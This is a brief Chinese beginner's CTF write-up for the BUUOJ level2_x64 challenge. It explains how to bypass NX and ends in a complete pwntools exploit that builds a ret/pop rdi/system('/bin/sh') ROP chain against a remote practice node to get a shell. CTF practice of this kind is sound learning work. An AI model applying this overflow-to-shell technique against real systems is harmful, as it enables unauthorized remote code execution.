小白做题笔记,不建议阅读。
这道题还好吧。
绕过NX
main
函数直接调用漏洞函数
这里有溢出
(ida shift+f12)
我们尝试找下bin/sh
0000000000600A90 /bin/sh
system函数的地址也可以看
00000000004004C0
exp
因为有栈对齐所以需要ret,因为是64位传参所以需要pop rdi
from pwn import *
debug=0
if debug:
p=process('./level2_x64')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
#gdb.attach(p)
else:
p=remote('node4.buuoj.cn',28449)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
system_add=0x00000000004004C0
bin_sh_add=0x0000000000600A90
pop_rdi=0x00000000004006b3
#ROPgadget --binary ./level2_x64 --only "ret"
#Gadgets information
#============================================================
#0x00000000004004a1 : ret
ret_add=0x00000000004004a1
payload=b'b'*0x80+b'b'*8+p64(ret_add)+ p64(pop_rdi)+p64(bin_sh_add)+p64(system_add)
ru(b'Input:\n')
se(payload)
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"